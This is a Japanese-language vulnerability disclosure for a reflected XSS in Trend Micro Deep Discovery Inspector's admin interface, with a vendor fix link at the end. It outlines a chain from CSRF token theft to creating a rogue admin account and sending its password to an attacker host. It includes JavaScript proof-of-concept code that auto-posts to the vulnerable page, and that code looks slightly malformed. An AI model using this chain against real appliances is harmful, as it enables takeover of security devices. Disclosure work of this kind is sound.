
Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 の管理用 Web インターフェイスに、反射型 XSS 脆弱性を発見しました。 脆弱なスクリプトのパスは /php/detection_detail_filter.php です。このスクリプトは認証されたユーザーのみアクセス可能ですが、後述の攻撃シナリオを考慮すると、このことが脆弱性の深刻さを軽減するわけではありません。
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png は、ips[] パラメータが HTML コードインジェクションに対して脆弱であることを示しています。
この脆弱性は、CSRF 保護の回避、CSRF トークンの取得、CSRF 攻撃の実行に悪用される可能性があります。さらに、以下のシナリオを用いると、Deep Discovery Inspector アプライアンスの完全な乗っ取りも達成され得ます。
1. DDI の Web インターフェイスにログインしたユーザーが、悪意のある Web ページを訪れるよう誘導されます。
2. そのページ上の悪意のあるスクリプトが、/php/detection_detail_filter.php の XSS 脆弱性を利用して実行されます。
3. スクリプトは /wsgi/csrf/get_token/ への PUT リクエストで CSRF トークンを取得します。
4. そして、前のリクエストへの応答から得たトークンを使用して、管理者権限を持つアカウントを追加します。
5. 追加されたアカウントのパスワードは、前のリクエストへの応答から取得されます。
6. パスワードは HTTP リクエストを介して攻撃者のホストへ転送されます。
Screen2.png は攻撃の実行状況を示しています。
攻撃を再現するには、次のコードを使用できます(ddi_ip 変数は、お使いの DDI アプライアンスの IP に合わせて変更してください):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
この PoC コードは攻撃者の Web サーバーに配置し、DDI の Web インターフェイスにログインしている(管理者権限を持つ)ユーザーに、このサーバーへのリンクを開かせる必要があります。ソーシャルエンジニアリングを用いて、ユーザーにリンクをクリックさせることができます。
Trend Micro は以下のソリューションを提供しています: https://success.trendmicro.com/solution/1121079